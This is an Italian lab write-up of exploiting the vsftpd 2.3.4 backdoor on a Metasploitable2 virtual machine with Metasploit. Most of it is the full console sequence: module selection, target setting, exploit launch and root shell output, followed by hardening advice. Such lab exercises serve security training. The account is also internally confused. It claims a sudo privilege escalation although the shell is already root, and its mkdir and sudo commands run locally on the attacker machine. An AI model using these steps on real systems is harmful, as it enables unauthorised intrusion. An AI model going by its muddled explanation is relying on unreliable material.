

Introduzione: l'obiettivo di questo esercizio era identificare e sfruttare una vulnerabilità nota nel servizio FTP (vsftpd) di una macchina virtuale vulnerabile al fine di ottenere un accesso non autorizzato e dimostrare la compromissione del sistema tramite la creazione di una cartella.

- Kali Linux IP: 192.168.1.150 (macchina attaccante)
- Metasploitable2 IP: 192.168.1.149 (macchina bersaglio)

Dopo aver verificato la connettività tra le due macchine e aver eseguito una scansione nmap sulla porta 21, la fase di attacco è iniziata con la preparazione del framework Metasploit su Kali Linux.

```
(kali㉿kali)-[~]
$ msfconsole
Metasploit tip: You can use help to view all available commands
```

METASPLOIT CYBER MISSILE COMMAND V5

```
#####
##### / \ / \ / \ / \ #####
#####
#####
# WAVE 5 ##### SCORE 31337 ##### HIGH FFFFFFFF #
#####
https://metasploit.com

=[ metasploit v6.4.69-dev ]
+ -- ==[ 2529 exploits - 1302 auxiliary - 432 post ]
+ -- ==[ 1672 payloads - 49 encoders - 13 nops ]
+ -- ==[ 9 evasion ]
```

Metasploit Documentation: <https://docs.metasploit.com/>

L'obiettivo era sfruttare una nota vulnerabilità del servizio FTP (vsftpd) in esecuzione su Metasploitable2. Il processo è stato avviato selezionando l'exploit specifico "exploit/unix/ftp/vsftpd_234_backdoor", che sfrutta una falla critica presente nella versione 2.3.4 del software.

```
msf6 > search vsftpd

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
--  -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal Yes     VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No      VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name      Current Setting  Required  Description
--      -
CHOST      CPORT           no        The local client address
CPORT      Proxies         no        The local client port
Proxies    RHOSTS          yes       A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, socks5h, http
RHOSTS     RPORT           yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      21              yes       The target port (TCP)

Exploit target:

Id  Name
--  -
0   Automatic

View the full module info with the info, or info -d command.
```

Dopo aver impostato l'indirizzo IP della macchina bersaglio, l'attacco è stato lanciato. L'exploit ha agito iniettando un payload malevolo che ha permesso di ottenere una shell di comando con i privilegi dell'utente del servizio vulnerabile.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name      Current Setting  Required  Description
--      -
CHOST      CPORT           no        The local client address
CPORT      Proxies         no        The local client port
Proxies    RHOSTS          yes       A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, socks5h, http
RHOSTS     RPORT           yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      21              yes       The target port (TCP)

Exploit target:

Id  Name
--  -
0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads

#  Name                                     Disclosure Date  Rank    Check  Description
--  -
0  payload/cmd/unix/interact               .              normal No      Unix Command, Interact with Established Connection

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.149:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[*] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[*] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.150:38717 -> 192.168.1.149:6200) at 2025-08-25 17:55:50 -0400
```

In un ambiente di test come questo, l'obiettivo finale era dimostrare il successo della compromissione. A tal fine, è stata eseguita una scalata dei privilegi utilizzando il

comando “sudo”. Questo passaggio è stato cruciale per poter scrivere nella directory root del sistema. Come si vede nell’immagine sottostante il primo tentativo di attacco non ha avuto successo in quanto mancava il comando “sudo”.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > cd /
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > mkdir test_metasploit
[*] exec: mkdir test_metasploit

mkdir: cannot create directory 'test_metasploit': Permission denied
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > sudo mkdir /test_metasploit
[*] exec: sudo mkdir /test_metasploit

[sudo] password for kali:
```

L’attacco si è infine concluso con la creazione di una cartella di test, test_metasploit, che ha fornito una prova tangibile del controllo del sistema.

```
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:e6:1c:91
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fee6:1c91/64  Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:6 errors:0 dropped:0 overruns:0 frame:0
          TX packets:27 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:384 (384.0 B)  TX bytes:2954 (2.8 KB)
          Base address:0xd020  Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128  Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:91 errors:0 dropped:0 overruns:0 frame:0
          TX packets:91 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:19301 (18.8 KB)  TX bytes:19301 (18.8 KB)

msfadmin@metasploitable:~$ ls /
bin      dev      initrd   lost+found  nohup.out  root    sys      usr
boot     etc      initrd.img  media       opt        sbin    test_metasploit  var
cdrom    home    lib      mnt         proc       srv     tmp      vmlinuz
msfadmin@metasploitable:~$ _
```

Conclusioni

L’esercizio ha dimostrato con successo come una singola vulnerabilità software possa portare alla completa compromissione di un sistema. La falla nel servizio vsftpd ha permesso a un utente non autorizzato di ottenere una shell di comando e di elevare i propri privilegi per eseguire azioni amministrative, come la creazione di directory nella root del sistema.

Per prevenire attacchi simili, si raccomanda di implementare le seguenti misure di sicurezza:

- **Aggiornamento del software:** Aggiornare regolarmente tutti i servizi e i sistemi operativi per applicare le patch di sicurezza e correggere le vulnerabilità note.
- **Principio del privilegio minimo:** Eseguire i servizi di rete, come FTP, con l'utente meno privilegiato possibile. Questo limita i danni in caso di compromissione.
- **Firewalling:** Utilizzare un firewall per bloccare il traffico non necessario e limitare l'accesso ai servizi solo agli host autorizzati.